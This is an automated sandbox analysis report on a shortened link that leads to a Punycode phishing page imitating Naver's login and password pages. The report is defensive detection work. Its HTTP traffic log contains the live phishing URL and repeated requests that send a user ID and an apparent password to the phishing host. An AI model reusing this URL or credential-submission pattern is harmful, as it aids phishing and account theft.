Edit tour

Windows Analysis Report
https://tinyurl.com/286oc4ly

Overview

General Information

Sample URL:	https://tinyurl.com/286oc4ly
Analysis ID:	1590511
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detected non-DNS traffic on DNS port

HTML body contains password input but no form action

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5416 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4340 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2280,i,15911477752783196429,6856431209675175544,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6600 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://tinyurl.com/286oc4ly" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit

Joe Sandbox AI: Score: 9 Reasons: The brand 'Naver' is a well-known South Korean online platform., The URL uses Punycode, which is often used in phishing to mimic legitimate domains., The URL does not match the legitimate domain 'naver.com'., The use of Punycode and the lack of a direct match to the legitimate domain are strong indicators of phishing. DOM: 1.1.pages.csv

Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit

HTTP Parser: Title: : does not match URL

Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit

HTTP Parser: <input type="password" .../> found

Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit	HTTP Parser: No <meta name="author".. found
Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit	HTTP Parser: No <meta name="author".. found
Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit	HTTP Parser: No <meta name="author".. found
Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit	HTTP Parser: No <meta name="author".. found

Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit	HTTP Parser: No <meta name="copyright".. found
Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit	HTTP Parser: No <meta name="copyright".. found
Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit	HTTP Parser: No <meta name="copyright".. found
Source: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit	HTTP Parser: No <meta name="copyright".. found

Source: global traffic

TCP traffic: 192.168.2.4:60466 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.131
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.131
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /286oc4ly HTTP/1.1Host: tinyurl.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //assets/css/help_member.css HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=editAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //assets/css/w_202105.css HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=editAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /template/gnb_utf8.nhn?2021.%208.%2026 HTTP/1.1Host: static.nid.naver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/clickcr.js HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /inc/common/js/passwdAjax.js?20180530 HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /inc/common/js/ko/commonUtil.js?20170214 HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /inc/common/js/lua.js HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /inc/common/js/rsaAll.js HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /inc/common/js/lcs_nclicks.js HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/web/user/sp_u_skip.png HTTP/1.1Host: static.nid.naver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/ui/myinfo/pc_sp_txt_shape.png HTTP/1.1Host: static.nid.naver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/web/user/ci_naver.png HTTP/1.1Host: static.nid.naver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /template/gnb_utf8.nhn?2021.%208.%2026 HTTP/1.1Host: static.nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /inc/common/js/jquery.resize.js HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /inc/common/js/jquery.min.js HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getLoginStatus?callback=showGNB&charset=utf-8&svc=nid&template=gnb_utf8&one_naver=1 HTTP/1.1Host: static.nid.naver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/web/user/sp_u_skip.png HTTP/1.1Host: static.nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/ui/myinfo/pc_sp_txt_shape.png HTTP/1.1Host: static.nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/web/user/ci_naver.png HTTP/1.1Host: static.nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getLoginStatus?callback=showGNB&charset=utf-8&svc=nid&template=gnb_utf8&one_naver=1 HTTP/1.1Host: static.nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nid.naver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781678 HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=editAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781678 HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781679 HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=editAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781679 HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781680 HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=editAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781680 HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781681 HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=editAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781681 HTTP/1.1Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707eConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: tinyurl.com
Source: global traffic	DNS traffic detected: DNS query: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e
Source: global traffic	DNS traffic detected: DNS query: nid.naver.com
Source: global traffic	DNS traffic detected: DNS query: static.nid.naver.com
Source: global traffic	DNS traffic detected: DNS query: ssl.pstatic.net
Source: global traffic	DNS traffic detected: DNS query: lcs.naver.com

Source: chromecache_96.2.dr	String found in binary or memory: http://pajhome.org.uk/crypt/md5
Source: chromecache_92.2.dr	String found in binary or memory: http://policy.naver.com/policy/privacy.html
Source: chromecache_92.2.dr	String found in binary or memory: http://policy.naver.com/rules/disclaimer.html
Source: chromecache_96.2.dr	String found in binary or memory: http://wicg.github.io/netinfo/#connection-types
Source: chromecache_92.2.dr	String found in binary or memory: http://www.naver.com
Source: chromecache_92.2.dr	String found in binary or memory: http://www.navercorp.com/
Source: chromecache_92.2.dr	String found in binary or memory: http://www.navercorp.com/ko/index.nhn
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://academic.naver.com/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://analytics.naver.com/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://api-talks.naver.com/jsonp/push/count/v1/services/chat?callback=showTalkCount
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://band.us/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://blog.naver.com/MyBlog.naver
Source: chromecache_96.2.dr	String found in binary or memory: https://blueimp.net
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://book.naver.com
Source: chromecache_87.2.dr	String found in binary or memory: https://book.naver.com/
Source: chromecache_87.2.dr	String found in binary or memory: https://bookmark.naver.com/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://cafe.naver.com/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://cafe.naver.com/cafesupport/
Source: chromecache_87.2.dr	String found in binary or memory: https://calendar.naver.com/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://campaign.naver.com/npay/rediret/index.nhn
Source: chromecache_93.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=286360
Source: chromecache_87.2.dr	String found in binary or memory: https://comic.naver.com/
